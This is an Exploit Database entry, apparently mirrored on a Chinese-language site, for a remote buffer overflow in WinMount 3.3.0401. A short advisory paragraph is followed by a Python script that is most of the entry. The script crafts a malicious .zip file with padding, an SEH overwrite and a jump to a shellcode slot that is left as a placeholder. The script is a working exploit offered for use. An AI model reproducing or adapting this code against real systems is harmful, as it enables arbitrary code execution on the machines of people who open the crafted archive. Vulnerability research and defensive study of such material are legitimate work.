WinMount 3.3.401 – ‘.zip’ Remote Buffer Overflow

• Exploit Database
• 122 阅读

• 作者： lilf
  日期： 2010-04-19
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/33848/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49

  source: https://www.securityfocus.com/bid/39557/info   WinMount is prone to a remote buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.   An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.   WinMount 3.3.0401 is vulnerable; other versions may be affected.   import os   sploitfile="test.zip" ldf_header =('\x50\x4B\x03\x04\x14\x00\x00' '\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\xd0\xff' '\x00\x00\x00') cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14" "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xd0\xff" "\x00\x00\x00\x00\x00\x00\x01\x00" "\x24\x00\x00\x00\x00\x00\x00\x00") eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00" "\x00\x01\x00\x01\x00" "\xfe\xff\x00\x00" "\xee\xff\x00\x00" "\x00\x00") print "[+] Preparing payload\n" size=65484 junk='A'*420 nseh='\x89\x8a\x8b\x8c' seh='\x84\x5b\xac\x8d' junk_='A'*33 jumpto='\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4'#make eax point to shellcode and jump to shellcode shellcode=("the shellcode here will be changed into unicode")#encode by alpha2 junk__='B'*80 last='C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode)) payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+".wav" evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header print "[+] Removing old zip file\n" os.system("del "+sploitfile) print "[+] Writing payload to file\n" fobj=open(sploitfile,"w",0) fobj.write(evilzip) print "generate zip file "+(sploitfile) fobj.close() print '[+] Wrote %d bytes to file sploitfile\n'%(len(evilzip)) print "[+] Payload length :%d \n"%(len(payload))